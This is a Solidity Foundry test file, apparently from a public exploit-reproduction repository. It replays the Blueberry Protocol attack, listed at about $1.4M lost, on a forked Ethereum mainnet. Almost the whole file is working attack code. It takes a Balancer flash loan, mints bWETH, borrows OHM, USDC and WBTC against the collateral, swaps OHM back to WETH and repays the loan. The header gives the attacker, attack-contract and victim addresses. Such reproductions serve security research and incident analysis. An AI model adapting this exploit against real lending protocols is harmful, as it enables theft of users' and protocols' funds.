-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
BlueberryProtocol_exp.sol
124 lines (102 loc) · 4.54 KB
/
BlueberryProtocol_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo - Total Lost : ~$1,400,000 USD
// Attacker : https://etherscan.io/address/0xc0ffeebabe5d496b2dde509f9fa189c25cf29671 (whitehat)
// Attack Contract : https://etherscan.io/address/0x3aa228a80f50763045bdfc45012da124bd0a6809
// Vulnerable Contract : https://etherscan.io/address/0xffadb0bba4379dfabfb20ca6823f6ec439429ec2
// Attack Tx : https://etherscan.io/tx/0xf0464b01d962f714eee9d4392b2494524d0e10ce3eb3723873afd1346b8b06e4
// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xffadb0bba4379dfabfb20ca6823f6ec439429ec2#code
// @Analysis
// https://twitter.com/blueberryFDN/status/1760865357236211964
interface IMarketFacet {
function enterMarkets(
address[] calldata vTokens
) external returns (uint256[] memory);
}
interface bBep20Interface {
function transfer(address dst, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(
address owner
) external view returns (uint256);
/**
* User Interface **
*/
function mint(
uint256 mintAmount
) external returns (uint256);
function borrow(
uint256 borrowAmount
) external returns (uint256);
}
contract ContractTest is Test {
WETH9 private WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 private OHM = IERC20(0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5);
IERC20 private USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 private WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
bBep20Interface private bWETH = bBep20Interface(0x643d448CEa0D3616F0b32E3718F563b164e7eDd2);
bBep20Interface private bOHM = bBep20Interface(0x08830038A6097C10f4A814274d5A68E64648d91c);
bBep20Interface private bUSDC = bBep20Interface(0x649127D0800a8c68290129F091564aD2F1D62De1);
bBep20Interface private bWBTC = bBep20Interface(0xE61ad5B0E40c856E6C193120Bd3fa28A432911B6);
IMarketFacet BlueberryProtocol = IMarketFacet(0xfFadB0bbA4379dFAbFB20CA6823F6EC439429ec2);
IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
Uni_Router_V3 pool = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);
function setUp() public {
vm.createSelectFork("mainnet", 19_287_289 - 1);
vm.label(address(this), "AttackContract");
vm.label(address(WETH), "WETH");
vm.label(address(OHM), "OHM");
vm.label(address(USDC), "USDC");
vm.label(address(WBTC), "WBTC");
vm.label(address(bWETH), "bWETH");
vm.label(address(bOHM), "bOHM");
vm.label(address(bUSDC), "bUSDC");
vm.label(address(bWBTC), "bWBTC");
vm.label(address(BlueberryProtocol), "BlueberryProtocol");
vm.label(address(balancer), "balancer");
vm.label(address(pool), "pool");
}
function approveAll() internal {
WETH.approve(address(bWETH), type(uint256).max);
OHM.approve(address(pool), type(uint256).max);
}
function testAttack() public {
vm.deal(address(this), 0.000000000000009997 ether);
WETH.deposit{value: 0.000000000000009997 ether}();
approveAll();
address[] memory tokens = new address[](1);
tokens[0] = address(WETH);
uint256[] memory amounts = new uint256[](1);
amounts[0] = 1_000_000_000_000_000_000;
balancer.flashLoan(address(this), tokens, amounts, new bytes(1)); // borrow BUSD
}
function receiveFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external {
address[] memory tokenList = new address[](1);
tokenList[0] = address(bWETH);
BlueberryProtocol.enterMarkets(tokenList);
bWETH.mint(1_000_000_000_000_000_000);
bOHM.borrow(8_616_071_267_266);
bUSDC.borrow(913_262_603_416);
bWBTC.borrow(686_690_100);
Uni_Router_V3.ExactOutputSingleParams memory params = Uni_Router_V3.ExactOutputSingleParams({
tokenIn: address(OHM),
tokenOut: address(WETH),
fee: 3000,
recipient: address(this),
deadline: type(uint256).max,
amountOut: 999_999_999_999_999_999,
amountInMaximum: type(uint256).max,
sqrtPriceLimitX96: 0
});
pool.exactOutputSingle(params);
WETH.transfer(address(balancer), 1_000_000_000_000_000_000);
}
receive() external payable {}
fallback() external payable {}
}